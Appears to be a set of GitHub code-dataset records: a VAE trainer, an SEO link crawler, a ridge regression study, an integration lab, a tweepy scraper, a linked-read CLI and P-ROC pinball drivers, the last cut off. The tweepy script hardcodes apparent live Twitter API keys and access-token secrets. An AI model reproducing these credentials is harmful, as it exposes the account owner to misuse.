print(layer_sizes)\n\n\n##############\n# GPU or CPU #\n##############\nif torch.cuda.is_available():\n device = 'cuda'\nelse:\n device = 'cpu'\nprint('Using ', device)\n\n\n##################\n# LOSS FUNCTIONS #\n##################\ndef elbo(recon_x, x, mu, log_var):\n \"\"\"\n Arguments:\n :param recon_x: reconstruced input\n :param x: input,\n :param mu: means of posterior (distribution of z given x)\n :param log_var: log of variances of posterior (distribution of z given x)\n \"\"\"\n x = x.view(-1, img_size*img_size)\n recon_x = recon_x.view(-1, img_size*img_size)\n sigma_g = 1. # denominator of squared error loss\n beta = 2. # factor to balance loss terms\n neg_elbo = 0.5 * (beta * torch.sum(mu.pow(2) + log_var.exp() - log_var - 1) +\n torch.sum((x - recon_x).pow(2) / sigma_g ** 2.))\n\n return neg_elbo\n\n\ndef l2_loss(recon_x, x, mu, log_var):\n \"\"\"\n :param recon_x: reconstruced input\n :param x: input\n :param mu: redundant. Only to call both loss fcts w/ same arguments\n :param log_var: redundant. Only to call both loss fcts w/ same arguments\n \"\"\"\n x = x.view(-1, img_size*img_size)\n recon_x = recon_x.view(-1, img_size*img_size)\n\n return .5 * torch.sum((x - recon_x).pow(2))\n\n\n#####################\n# TRAINING FUNCTION #\n#####################\ndef train(model, epochs, path, optimizer, trainloader, testloader, test_after_epoch=False, loss_function=elbo):\n \"\"\"\n :param model: model that will be trained; object\n :param epochs: number of epochs to train model; int\n :param path: path to store and load trained models; str\n :param optimizer: optimizer that is used for training\n :param trainloader: dataloader for training\n :param testloader: dataloader for testing\n :param test_after_epoch: evaluate on test set after epoch? default=False\n :param loss_function: loss to use in training. default=elbo\n \"\"\"\n\n # check for previous trained models and resume from there if available\n try:\n previous = max(glob.glob(path + '*.pth'))\n print(f'\\nload previous model: {previous}')\n checkpoint = torch.load(previous)\n model.load_state_dict(checkpoint['model_state_dict'])\n optimizer.load_state_dict(checkpoint['optimizer_state_dict'])\n loss = checkpoint['loss']\n epochs_trained = checkpoint['epoch']\n except Exception as e:\n print('\\nno model to load. Reason: ', e)\n epochs_trained = 0\n\n model.train()\n\n for epoch in np.arange(epochs_trained, epochs):\n model.train()\n train_loss = 0\n for batch_idx, data in enumerate(tqdm(trainloader, desc=f'Train Epoch {epoch}', leave=False)):\n x = data\n x = x.to(device)\n optimizer.zero_grad()\n\n recon_batch, mu, log_var = model(x)\n\n loss = loss_function(recon_batch, x, mu, log_var)\n\n loss.backward()\n train_loss += loss.item()\n optimizer.step()\n if 1 == 0: # batch_idx % int(len(train_loader) / 10) == 0:\n print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(\n epoch, batch_idx * len(x), len(train_loader.dataset),\n 100. * batch_idx / len(train_loader), loss.item() / len(x)))\n\n print('====> Epoch: {} Average loss: {:.4f}'.format(epoch, train_loss / len(train_loader.dataset)))\n\n # save model\n torch.save({\n 'epoch': epoch + 1,\n 'model_state_dict': model.state_dict(),\n 'optimizer_state_dict': optimizer.state_dict(),\n 'loss': loss,\n }, path + '{}.pth'.format(f'00{epoch}'[-3:]))\n\n # test model\n if test_after_epoch:\n test(model, testloader)\n\n\ndef test(model, loader):\n \"\"\"\n :param model: model to test\n :param loader: loader for test data\n \"\"\"\n\n model.eval()\n test_loss = 0\n with torch.no_grad():\n for i, data in enumerate(loader):\n data = data.to(device)\n recon_batch, mu, logvar = model(data)\n test_loss += elbo(recon_batch, data, mu, logvar).item()\n\n test_loss /= len(loader.dataset)\n print('====> Test set loss: {:.4f}'.format(test_loss))\n\n\n######################\n# VISUALIZE RESULTS #\n######################\ndef imshow(img, color=False):\n npimg = img.cpu().numpy()\n npimg -= npimg.min()\n npimg /= npimg.max()\n if color:\n npimg = np.swapaxes(np.swapaxes(npimg, 0, 1), 1, 2)\n plt.imshow(npimg)\n else:\n print(npimg.shape)\n plt.imshow(npimg[0], cmap='gray')\n plt.xticks([])\n plt.yticks([])\n\n\ndef show_examples(model, _train_loader, color=True):\n x = next(iter(_train_loader))\n samples = x.to(device)\n model.eval()\n samples_rec, _, _ = model(samples)\n samples_rec = samples_rec.detach()\n plt.figure(figsize=(12,8))\n for i in range(0, 3):\n plt.subplot(3,2,2*i+1)\n plt.tight_layout()\n imshow(samples[i], color=color)\n plt.title(\"Ori. {}\".format(i))\n\n plt.subplot(3, 2, 2*i+2)\n plt.tight_layout()\n imshow(samples_rec[i], color=color)\n plt.title(\"Rec. {}\".format(i))\n plt.show()\n\n\n#############\n# RUN #\n#############\nif __name__ == \"__main__\":\n\n ##############\n # LOAD DATA #\n ##############\n print('\\nloading data')\n # define transformations\n if opt.grayscale:\n trafo_train = transforms.Compose([transforms.ToPILImage(), transforms.Grayscale(num_output_channels=1),\n transforms.ToTensor(), transforms.Normalize((.5,), (.5,))])\n trafo_test = transforms.Compose([transforms.ToPILImage(), transforms.Grayscale(num_output_channels=1),\n transforms.ToTensor(), transforms.Normalize((.5,), (.5,))])\n else:\n trafo_train = transforms.Compose([transforms.ToTensor(), transforms.Normalize((.5,), (.5,))])\n trafo_test = transforms.Compose([transforms.ToTensor(), transforms.Normalize((.5,), (.5,))])\n # datasets\n train_set = IconDataset(transform=trafo_train)\n test_set = IconDataset(part='test', transform=trafo_test)\n print('train dataset', len(train_set))\n print('test dataset', len(test_set))\n if opt.nimages <= len(train_set):\n # subsets\n train_subset = torch.utils.data.Subset(train_set, np.arange(opt.nimages, dtype=int).tolist())\n test_subset = torch.utils.data.Subset(test_set, np.arange(opt.nimages / 10, dtype=int).tolist())\n print('train subset', len(train_subset))\n # dataloader\n train_loader = torch.utils.data.DataLoader(dataset=train_subset, batch_size=opt.batchSize, shuffle=True)\n test_loader = torch.utils.data.DataLoader(dataset=test_subset, batch_size=opt.batchSize, shuffle=False)\n else:\n print(f'number of training images {int(opt.nimages)} larger than training set. '\n f'Using all {len(train_set)} training images.')\n # dataloader\n train_loader = torch.utils.data.DataLoader(dataset=train_set, batch_size=opt.batchSize, shuffle=True)\n test_loader = torch.utils.data.DataLoader(dataset=test_set, batch_size=opt.batchSize, shuffle=False)\n\n\n #############\n # TRAIN VAE #\n #############\n # if using baseline architecture\n if opt.architecture == 'baseline':\n kwargs = {'encoder_layer_sizes': layer_sizes['encoder'], 'decoder_layer_sizes': layer_sizes['decoder'],\n 'latent_dim': opt.nz, 'n_channels': nc}\n vae = BaselineVAE(**kwargs)\n # if using dcgan32 or resnet32\n else:\n kwargs = {'encoder': architecture[0], 'decoder': architecture[1], 'n_channels': nc, 'latent_dim': opt.nz,\n 'n_filters': opt.nf, 'img_h': opt.imageSize, 'img_w': opt.imageSize,'batch_normalization': True,\n 'encoder_activation': nn.LeakyReLU(), 'decoder_activation': nn.ReLU()}\n vae = VAE(**kwargs)\n vae.to(device)\n optimizer = optim.Adam(vae.parameters(), lr=opt.lr, weight_decay=opt.lr/10)\n\n if opt.outpath[-1] == '/':\n filepath = opt.outpath+'vae_'+opt.architecture+'-'\n else:\n filepath = opt.outpath + '/vae_' + opt.architecture + '-'\n train(vae, opt.niter, filepath, optimizer, train_loader, test_loader)\n","repo_name":"jomazi/deep_vision_project","sub_path":"src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":10727,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"67"} +{"seq_id":"29973555268","text":"import requests\nimport math\nfrom bs4 import BeautifulSoup\nimport urllib.parse\nimport networkx as nx\nimport matplotlib.pyplot as plt\nfrom bokeh.plotting import figure, from_networkx\nfrom bokeh.models import (BoxZoomTool, Circle, HoverTool,\n MultiLine, Range1d, ResetTool, LinearColorMapper, ColorBar,\n ColumnDataSource, DataTable, TableColumn)\nfrom bokeh.transform import linear_cmap\nfrom bokeh.palettes import Spectral4, Spectral8, Spectral6\nfrom bokeh.models.graphs import NodesAndLinkedEdges\nfrom bokeh.layouts import row\nimport seaborn as sns\npalette = sns.color_palette(\"hls\", 99)\npal_hex_lst = palette.as_hex()\n\n\ndef request_status_code(url):\n try:\n response = requests.get(url)\n return response.status_code\n except:\n return 500\n\n\ndef request_parse(url):\n try:\n response = requests.get(url)\n if response.status_code != 200:\n return\n soup = BeautifulSoup(response.content, \"lxml\")\n return soup\n except:\n return\n\n\ndef check_internal(website, url):\n if website not in url:\n return False\n return True\n\n\ndef find_all_headings(soup):\n headings = {\"h1\": {\"count\": 0, \"header\": []}, \"h2\": {\"count\": 0, \"header\": []},\n \"h3\": {\"count\": 0, \"header\": []}, \"h4\": {\"count\": 0, \"header\": []},\n \"h5\": {\"count\": 0, \"header\": []}, \"h6\": {\"count\": 0, \"header\": []}}\n for heading in soup.find_all([\"h1\", \"h2\", \"h3\", \"h4\", \"h5\", \"h6\"]):\n headings[heading.name][\"header\"].append(heading.text.strip())\n headings[heading.name][\"count\"] += 1\n return headings\n\n\ndef print_all_headers(headers_list):\n for key in headers_list:\n for i in headers_list[key][\"header\"]:\n print(key + \" \" + i)\n\n\ndef print_specific_header(headers_list, header):\n for i in headers_list[header][\"header\"]:\n print(header + \" \" + i)\n\n\ndef print_all_headers_count(headers_list):\n for key in headers_list:\n print(\"Number of \" + key + \" : \" + str(headers_list[key][\"count\"]))\n\n\ndef print_specific_header_count(headers_list, header):\n print(\"Number of \" + header + \" : \" + str(headers_list[header][\"count\"]))\n\n\ndef find_all_urls_single_page(source, soup):\n list_urls = {source: {\"urls\": {}, \"count\": 0, \"broken\": 0}}\n for link in soup.findAll('a'):\n url = urllib.parse.urljoin(source, link.get('href'))\n if url not in list_urls[source]['urls']:\n status_code = request_status_code(url)\n if status_code == 200:\n list_urls[source][\"urls\"][url] = {\"status\": 200, \"count\": 1}\n else:\n list_urls[source][\"urls\"][url] = {\n \"status\": status_code, \"count\": 1}\n list_urls[source][\"broken\"] += 1\n list_urls[source][\"count\"] += 1\n else:\n list_urls[source][\"urls\"][url][\"count\"] += 1\n\n return list_urls\n\n\ndef extract_path(url):\n try:\n path = urllib.parse.urlparse(url).path\n if path == \"\":\n return \"/\"\n return urllib.parse.urlparse(url).path\n except:\n return \"/\"\n\n\ndef add_edge(list_urls, url, domain, maximum=500):\n\n if len(list_urls) > maximum:\n return list_urls\n if domain not in url:\n print(url + \" not in domain\")\n return\n\n if extract_path(url) not in list_urls and domain in url and (url.startswith(\"https://\" + domain) or url.startswith(\"http://\" + domain)):\n list_urls[extract_path(url)] = []\n print(\"Requesting \" + url)\n soup = request_parse(url)\n if soup:\n for link in soup.find_all('a'):\n url_joined = urllib.parse.urljoin(url, link.get('href'))\n\n if url_joined.startswith(\"https://\" + domain) or url_joined.startswith(\"http://\" + domain):\n if url_joined not in list_urls[extract_path(url)]:\n list_urls[extract_path(url)].append(\n extract_path(url_joined))\n\n add_edge(list_urls, url_joined, domain, maximum)\n return list_urls\n\n return list_urls\n\n\ndef generate_graph_internal_link(website):\n domain = urllib.parse.urlparse(website).netloc\n urls = add_edge({}, website, domain)\n\n g = nx.Graph(urls)\n d = dict(g.degree)\n size = g.number_of_nodes()\n print(g.degree)\n max_connection = max(d.values())\n\n colors = [i[1] / max_connection for i in g.degree]\n\n plt.figure(num=None, figsize=(30 * math.ceil(math.sqrt(size) / 8), 20 *\n math.ceil(math.sqrt(size) / 8)), dpi=100, facecolor='w', edgecolor='k')\n nodi_size = [((math.sqrt(v) / 6) * 3000) for v in d.values()]\n pos = nx.nx_agraph.graphviz_layout(g)\n\n nx.draw(g, pos=pos, arrows=True, width=0.1, node_size=nodi_size,\n node_color=colors, linewidths=0.25, font_size=10, with_labels=True, scale=math.ceil(math.sqrt(g.number_of_nodes()) / 8))\n\n plt.savefig(domain + '.png')\n plt.show()\n\n\ndef generate_graph_internal_link_interactive(website, maximum):\n domain = urllib.parse.urlparse(website).netloc\n urls = add_edge({}, website, domain, maximum)\n\n # Generating graph and dict of degrees\n g = nx.Graph(urls)\n d = dict(g.degree)\n\n # Adding table\n table = dict(url=[k for k, v in d.items()],\n count=[v for k, v in d.items()])\n source = ColumnDataSource(table)\n columns = [\n TableColumn(field=\"url\", title=\"URL\"),\n TableColumn(field=\"count\", title=\"Count\"),\n ]\n data_table = DataTable(source=source, columns=columns,\n width=400, height_policy=\"max\")\n\n # Generating node size and color\n maxi = 1\n if len(d.values()) > 0:\n maxi = max(d.values())\n node_size = {k: max(5, math.ceil((v / maxi) * 30)) for k, v in d.items()}\n node_color = {k: v for k, v in d.items()}\n mapper = linear_cmap(field_name='node_color', palette=Spectral6, low=min(\n node_color.values()), high=max(node_color.values()))\n nx.set_node_attributes(g, d, 'connection')\n nx.set_node_attributes(g, node_size, \"node_size\")\n nx.set_node_attributes(g, node_color, \"node_color\")\n\n plot = figure(title=\"Maillage Interne \" + domain, plot_width=1200, plot_height=800,\n x_range=Range1d(-1.1, 1.1), y_range=Range1d(-1.1, 1.1), sizing_mode='stretch_both')\n p = row([data_table, plot])\n graph = from_networkx(g, nx.spring_layout, scale=2)\n node_hover_tool = HoverTool(\n tooltips=[(\"urls\", \"@index\"), (\"Connection\", \"@connection\")])\n plot.add_tools(node_hover_tool, BoxZoomTool(), ResetTool())\n plot.toolbar.active_scroll = \"auto\"\n\n graph.node_renderer.hover_glyph = Circle(size=20, fill_color=Spectral4[1])\n graph.edge_renderer.hover_glyph = MultiLine(\n line_color=Spectral8[6], line_width=1)\n graph.edge_renderer.glyph = MultiLine(line_alpha=0.8, line_width=0.03)\n graph.node_renderer.glyph = Circle(size='node_size', fill_color=mapper)\n\n graph.inspection_policy = NodesAndLinkedEdges()\n color_bar = ColorBar(\n color_mapper=mapper['transform'], width=8, location=(0, 0))\n plot.add_layout(color_bar, 'right')\n plot.renderers.append(graph)\n return p, domain\n","repo_name":"budaevdigital/SEOToolkit","sub_path":"seo/core.py","file_name":"core.py","file_ext":"py","file_size_in_byte":7233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"67"} +{"seq_id":"29054820736","text":"import numpy as np\n\n\nfrom mylearn.linear_model import RidgeRegression\nfrom mylearn.ml_tools import *\nfrom FrankeFunction import FrankeFunction\n\nfrom sklearn.utils import resample\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.preprocessing import StandardScaler\nfrom sklearn.model_selection import KFold\n\n\nnp.random.seed(16091995)\n\nn_datapoints = 1000\nbootstraps = 100\n\n\nx = np.random.rand(n_datapoints)\ny = np.random.rand(n_datapoints)\nz = FrankeFunction(x, y) + 0.05*np.random.normal(0, 1, n_datapoints)\n\n\np_min = 20\np_max = 21\npolynomial_degrees = np.arange(p_min, p_max + 1, 1)\n\n\nlambdas = np.logspace(-20, -6, 2)\n\nx_train, x_test, y_train, y_test, z_train, z_test = train_test_split(x, y, z, test_size = 0.2)\n\n\n\n\nbias = np.zeros((lambdas.size, polynomial_degrees.size))\nvariance = np.zeros((lambdas.size, polynomial_degrees.size))\nMSE_boot = np.zeros((lambdas.size, polynomial_degrees.size))\nMSE_cross = np.zeros((lambdas.size, polynomial_degrees.size))\n\n\n\n\n\n# Bootstrap\n\nfor j, p in enumerate(polynomial_degrees):\n z_predict = np.zeros((z_test.shape[0], bootstraps))\n X_train = designMatrix(x_train, y_train, p, with_intercept = False)\n X_test = designMatrix(x_test, y_test, p, with_intercept = False)\n X_train_scaled, X_test_scaled = normalize_data(X_train, X_test, with_intercept = False)\n\n for i, lam in enumerate(lambdas):\n ridge_reg = RidgeRegression(lmbda=lam, fit_intercept=True)\n for B in range(bootstraps):\n X_, z_ = resample(X_train_scaled, z_train)\n ridge_reg.fit(X_, z_)\n z_predict[:, B] = ridge_reg.predict(X_test_scaled)\n\n bias[i, j] = np.mean((z_test - np.mean(z_predict, axis=1, keepdims=True))**2)\n variance[i, j] = np.mean(np.var(z_predict, axis=1, keepdims=True))\n MSE_boot[i, j] = mean_squared_error(z_test, np.mean(z_predict, axis=1, keepdims=True))\n\n\n\nkfold = KFold(n_splits = 5)\nfor j, p in enumerate(polynomial_degrees):\n X = designMatrix(x, y, p, with_intercept = False)\n for i, lam in enumerate(lambdas):\n ridge_reg = RidgeRegression(lmbda=lam, fit_intercept=True)\n counter = 0\n for train_inds, test_inds in kfold.split(x):\n X_train = X[train_inds]\n z_train = z[train_inds]\n\n X_test = X[test_inds]\n z_test = z[test_inds]\n\n X_train_scaled, X_test_scaled = normalize_data(X_train, X_test, with_intercept = False)\n z_train_scaled, z_test_scaled = normalize_target(z_train, z_test)\n\n ridge_reg.fit(X_train_scaled, z_train_scaled)\n z_predict = ridge_reg.predict(X_test_scaled)\n MSE_cross[i, j] += mean_squared_error(z_predict, z_test_scaled)\n\n counter += 1\n\n MSE_cross[i, j] /= counter\n\n# np.save('bias_ridge', bias)\n# np.save('variance_ridge', variance)\n# np.save('MSE_boot_ridge', MSE_boot)\n# np.save('MSE_cross_ridge', MSE_cross)\n","repo_name":"erikasan/fys-stk-project1","sub_path":"project1/code/ridge_assessment_mylearn.py","file_name":"ridge_assessment_mylearn.py","file_ext":"py","file_size_in_byte":3017,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2838150679","text":"import math\n\nfrom sympy import symbols, exp, lambdify\n\nfrom common.functions import print_lab, tabulate_results, abs_error, execution_loop, input_borders, input_param\nfrom integration_formula.precise import Precise\nfrom integration_formula.simple import Simple\n\n\ndef execute():\n x = symbols('x')\n exp_func = exp(x)\n poly_0_func = 1\n poly_1_func = x\n poly_2_func = x ** 2\n poly_3_func = x ** 3\n functions = [exp_func, poly_0_func, poly_1_func, poly_2_func, poly_3_func]\n tabulate_results(functions, ['Номер', 'Функция'])\n num_of_function = input_param('номер функции', int, 0)\n\n f = lambdify(x, functions[num_of_function])\n\n a, b = input_borders()\n def p(x): return 1\n precise = Precise(a, b, f, p)\n precise_value = precise.integrate()\n print(f'\\nТочное значение интеграла: {precise_value}\\n')\n\n simple = Simple(a, b, f, p)\n\n methods_and_names = [\n (simple.left_rectangle, 'левого прямоугольника'),\n (simple.right_rectangle, 'правого прямоугольника'),\n (simple.middle_rectangle, 'среднего прямоугольника'),\n (simple.trapeze, 'трапеции'),\n (simple.simpsons, 'Симпсона (или парабол)'),\n (simple.three_eights, '3/8'),\n ]\n\n for methods_and_name in methods_and_names:\n method, name = methods_and_name\n approximate_value = method()\n print(f'КФ {name} : {approximate_value}')\n print(f'Абсолютная погрешность: {abs_error(precise_value, float(approximate_value))}\\n')\n\n\nif __name__ == '__main__':\n def f(x):\n return math.exp(x)\n\n print_lab(4.2, 'Приближённое вычисление интеграла по простым квадратурным формулам')\n print(f'Вариант 8')\n\n execution_loop(execute)\n","repo_name":"rakhmukova/NumericalAnalysis","sub_path":"lab4_2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1924,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10082019476","text":"import tweepy as tw\nimport pandas as pd\n\n\n\nconsumer_key = \"Bin7OE3nLtLpfweuh51rYzm3o\"\n\nconsumer_secret = \"5A5MeYsJhkValxR9k6fJZAk6kszg5cnrJZxLoKUgdY3mA3ghuS\"\n\naccess_token = \"1534553416286228480-ZnZgZfwZkzinGFGg4prVlyoDrZoxOJ\"\n\naccess_token_secret = \"1PZld6wdE02YAqgm1wusBKsqcgKDDnjfcghTfv65SqrEz\"\n\nauth = tw.OAuthHandler(consumer_key, consumer_secret)\n\nauth.set_access_token(access_token,access_token_secret)\n\napi = tw.API(auth, wait_on_rate_limit=True)\n\nsearch_words = \"brunei\"\n\ndate_since = \"2022-01-01\"\n\nlang = \"en\"\n\ntweets = tw.Cursor(api.search_tweets,q=search_words,lang=lang,).items(10000)\n\ndf = [[tweet.id,tweet.text, tweet.user.screen_name, tweet.user.followers_count, tweet.favorite_count, tweet.retweet_count,tweet.user.location, str(tweet.created_at)] for tweet in tweets]\n\nraw_df = pd.DataFrame(df, columns = ['id','text','user','user_followers','favorite_count', 'retweet_count','location','datetime'])\n\nraw_df.to_csv(r\"raw_brunei_tweets_tweepy.csv\", index = False)","repo_name":"vrathod07/Tweets_Analysis","sub_path":"get_data.py","file_name":"get_data.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"70094431253","text":"\"\"\"CLI for linked read related stuff.\"\"\"\n\nimport click\n\nfrom .readcloud_io import iterReadCloud\n\n\n@click.group()\ndef lr():\n \"\"\"Utilities for linked reads.\"\"\"\n pass\n\n\n@lr.command('filter-bcs')\n@click.option('-s', '--min-bc-size', default=0, help='Minimum size of a barcode')\n@click.option('-e', '--end', default=0,\n help='Only take the first (1) or second (2) read from an interleaved file')\n@click.argument('fastq_in', type=click.File('r'))\n@click.argument('fastq_out', type=click.File('w'))\ndef cli_filter_bcs(min_bc_size, end, fastq_in, fastq_out):\n \"\"\"Filter barcoded reads.\"\"\"\n for read_cloud in iterReadCloud(fastq_in):\n if min_bc_size and (not read_cloud.barcode or len(read_cloud) < min_bc_size):\n continue\n for read_pair in read_cloud:\n if end == 1:\n fastq_out.write(str(read_pair.r1) + '\\n')\n elif end == 2:\n fastq_out.write(str(read_pair.r2) + '\\n')\n else:\n fastq_out.write(str(read_pair) + '\\n')\n\n\nif __name__ == '__main__':\n lr()\n","repo_name":"dcdanko/gimmebio","sub_path":"gimmebio/linked_reads/gimmebio/linked_reads/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"29673816782","text":"\"\"\"P-Roc hardware platform devices.\"\"\"\nimport logging\nfrom typing import Callable, Tuple\n\nfrom mpf.platforms.interfaces.light_platform_interface import LightPlatformSoftwareFade, LightPlatformInterface\nfrom mpf.platforms.interfaces.switch_platform_interface import SwitchPlatformInterface\nfrom mpf.platforms.interfaces.driver_platform_interface import DriverPlatformInterface, PulseSettings, HoldSettings\nfrom mpf.core.utility_functions import Util\n\n\nclass PROCSwitch(SwitchPlatformInterface):\n\n \"\"\"P-ROC switch object which is use to store the configure rules and config.\"\"\"\n\n __slots__ = [\"string_number\", \"log\", \"notify_on_nondebounce\", \"hw_rules\", \"pdbconfig\"]\n\n def __init__(self, config, number, notify_on_nondebounce, platform):\n \"\"\"Initialise P-ROC switch.\"\"\"\n super().__init__(config, number)\n self.string_number = number\n self.log = logging.getLogger('PROCSwitch')\n self.notify_on_nondebounce = notify_on_nondebounce\n self.hw_rules = {\"closed_debounced\": [],\n \"closed_nondebounced\": [],\n \"open_debounced\": [],\n \"open_nondebounced\": []}\n self.pdbconfig = getattr(platform, \"pdbconfig\", None)\n\n def get_board_name(self):\n \"\"\"Return board of the switch.\"\"\"\n if not self.pdbconfig:\n return \"P-Roc\"\n\n board, bank, _ = self.pdbconfig.decode_pdb_address(self.string_number)\n\n return \"SW-16 Board {} Bank {}\".format(board, bank)\n\n\nclass PROCDriver(DriverPlatformInterface):\n\n \"\"\"A P-ROC driver/coil.\n\n Base class for drivers connected to a P3-ROC. This class is used for all\n drivers, regardless of whether they're connected to a P-ROC driver board\n (such as the PD-16 or PD-8x8) or an OEM driver board.\n\n \"\"\"\n\n __slots__ = [\"log\", \"proc\", \"string_number\", \"pdbconfig\", \"__dict__\"]\n\n def __init__(self, number, config, platform, string_number):\n \"\"\"Initialise driver.\"\"\"\n self.log = logging.getLogger('PROCDriver')\n super().__init__(config, number)\n self.proc = platform.proc\n self.string_number = string_number\n self.pdbconfig = getattr(platform, \"pdbconfig\", None)\n\n self.log.debug(\"Driver Settings for %s\", self.number)\n\n def get_board_name(self):\n \"\"\"Return board of the driver.\"\"\"\n if not self.pdbconfig:\n return \"P-Roc\"\n\n board, bank, _ = self.pdbconfig.decode_pdb_address(self.string_number)\n\n return \"PD-16 Board {} Bank {}\".format(board, bank)\n\n @classmethod\n def get_pwm_on_off_ms(cls, coil: HoldSettings):\n \"\"\"Find out the pwm_on_ms and pwm_off_ms for this driver.\"\"\"\n return Util.power_to_on_off(coil.power)\n\n def disable(self):\n \"\"\"Disable (turn off) this driver.\"\"\"\n self.log.debug('Disabling Driver')\n self.proc.driver_disable(self.number)\n\n def enable(self, pulse_settings: PulseSettings, hold_settings: HoldSettings):\n \"\"\"Enable (turn on) this driver.\"\"\"\n if pulse_settings.power != 1:\n raise AssertionError(\"Not pulse_power not supported in P-Roc currently.\")\n\n if hold_settings.power < 1.0:\n pwm_on, pwm_off = self.get_pwm_on_off_ms(hold_settings)\n self.log.debug('Enabling. Initial pulse_ms:%s, pwm_on_ms: %s'\n 'pwm_off_ms: %s', pwm_on, pwm_off, pulse_settings.duration)\n\n self.proc.driver_patter(self.number, pwm_on, pwm_off, pulse_settings.duration, True)\n else:\n self.log.debug('Enabling at 100%')\n\n self.proc.driver_schedule(number=self.number, schedule=0xffffffff,\n cycle_seconds=0, now=True)\n\n def pulse(self, pulse_settings: PulseSettings):\n \"\"\"Enable this driver for `milliseconds`.\n\n ``ValueError`` will be raised if `milliseconds` is outside of the range\n 0-255.\n \"\"\"\n # TODO: implement pulsed_patter for pulse_power != 1\n if pulse_settings.power != 1:\n raise AssertionError(\"Not pulse_power not supported in P-Roc currently.\")\n self.log.debug('Pulsing for %sms', pulse_settings.duration)\n self.proc.driver_pulse(self.number, pulse_settings.duration)\n\n def state(self):\n \"\"\"Return a dictionary representing this driver's current configuration state.\"\"\"\n return self.proc.driver_get_state(self.number)\n\n\nclass PROCMatrixLight(LightPlatformSoftwareFade):\n\n \"\"\"A P-ROC matrix light device.\"\"\"\n\n __slots__ = [\"log\", \"proc\"]\n\n def __init__(self, number, proc_driver, machine):\n \"\"\"Initialise matrix light device.\"\"\"\n super().__init__(number, machine.clock.loop,\n int(1 / machine.config['mpf']['default_light_hw_update_hz'] * 1000))\n self.log = logging.getLogger('PROCMatrixLight')\n self.proc = proc_driver\n\n def set_brightness(self, brightness: float):\n \"\"\"Enable (turns on) this driver.\"\"\"\n if brightness >= 1:\n self.proc.driver_schedule(number=self.number, schedule=0xffffffff,\n cycle_seconds=0, now=True)\n elif brightness > 0:\n pwm_on_ms, pwm_off_ms = Util.power_to_on_off(brightness)\n self.proc.driver_patter(self.number, pwm_on_ms, pwm_off_ms, 0, True)\n else:\n self.proc.driver_disable(self.number)\n\n def get_board_name(self):\n \"\"\"Return board of the light.\"\"\"\n # TODO: Implement this for PDB matrixes\n return \"P-Roc Matrix\"\n\n\nclass PDBLED(LightPlatformInterface):\n\n \"\"\"Represents an RGB LED connected to a PD-LED board.\"\"\"\n\n __slots__ = [\"board\", \"address\", \"debug\", \"log\", \"proc\", \"polarity\"]\n\n # pylint: disable-msg=too-many-arguments\n def __init__(self, board, address, polarity, proc_driver, debug):\n \"\"\"Initialise PDB LED.\"\"\"\n self.board = board\n self.address = address\n self.debug = debug\n super().__init__(\"{}-{}\".format(self.board, self.address))\n self.log = logging.getLogger('PDBLED')\n self.proc = proc_driver\n self.polarity = polarity\n\n self.log.debug(\"Creating PD-LED item: board: %s, \"\n \"RGB output: %s\", self.board, self.address)\n\n def _normalise_color(self, value: int) -> int:\n if self.polarity:\n return 255 - value\n\n return value\n\n def set_fade(self, color_and_fade_callback: Callable[[int], Tuple[float, int]]):\n \"\"\"Set or fade this LED to the color passed.\n\n Can fade for up to 100 days so do not bother about too long fades.\n\n Args:\n color_and_fade_callback: brightness of this channel via callback\n \"\"\"\n brightness, fade_ms = color_and_fade_callback(int(pow(2, 31) * 4))\n if self.debug:\n self.log.debug(\"Setting color %s with fade_ms %s to %s-%s\",\n self._normalise_color(int(brightness * 255)), fade_ms, self.board, self.address)\n\n if fade_ms <= 0:\n # just set color\n self.proc.led_color(self.board, self.address, self._normalise_color(int(brightness * 255)))\n else:\n # fade to color\n self.proc.led_fade(self.board, self.address, self._normalise_color(int(brightness * 255)), int(fade_ms / 4))\n\n def get_board_name(self):\n \"\"\"Return board of the light.\"\"\"\n return \"PD-LED Board {}\".format(self.board)\n\nclass PDBSwitch:\n\n \"\"\"Base class for switches connected to a P-ROC/P3-ROC.\"\"\"\n\n def __init__(self, pdb, number_str):\n \"\"\"Find out the number of the switch.\"\"\"\n upper_str = number_str.upper()\n if upper_str.startswith('SD'): # only P-ROC\n self.sw_number = int(upper_str[2:])\n elif upper_str.count(\"/\") == 1: # only P-ROC\n self.sw_number = self.parse_matrix_num(upper_str)\n else: # only P3-Roc\n try:\n (boardnum, banknum, inputnum) = pdb.decode_pdb_address(number_str)\n self.sw_number = boardnum * 16 + banknum * 8 + inputnum\n except ValueError:\n try:\n self.sw_number = int(number_str)\n except ValueError: # pragma: no cover\n raise AssertionError('Switch {} is invalid. Use either PDB '\n 'format or an int'.format(str(number_str)))\n\n def proc_num(self):\n \"\"\"Return the number of the switch.\"\"\"\n return self.sw_number\n\n @classmethod\n def parse_matrix_num(cls, num_str):\n \"\"\"Parse a source/sink matrix tuple.\"\"\"\n cr_list = num_str.split('/')\n return 32 + int(cr_list[0]) * 16 + int(cr_list[1])\n\n\nclass PDBCoil:\n\n \"\"\"Base class for coils connected to a P-ROC/P3-ROC that are controlled via PDB driver boards.\n\n (i.e. the PD-16 board).\n \"\"\"\n\n def __init__(self, pdb, number_str):\n \"\"\"Find out number fo coil.\"\"\"\n upper_str = number_str.upper()\n self.pdb = pdb\n if self.is_direct_coil(upper_str):\n self.coil_type = 'dedicated'\n self.banknum = (int(number_str[1:]) - 1) / 8\n self.outputnum = int(number_str[1:])\n elif self.is_pdb_coil(number_str):\n self.coil_type = 'pdb'\n (self.boardnum, self.banknum, self.outputnum) = pdb.decode_pdb_address(number_str)\n else:\n self.coil_type = 'unknown'\n\n def bank(self) -> int:\n \"\"\"Return the bank number.\"\"\"\n if self.coil_type == 'dedicated':\n return self.banknum\n elif 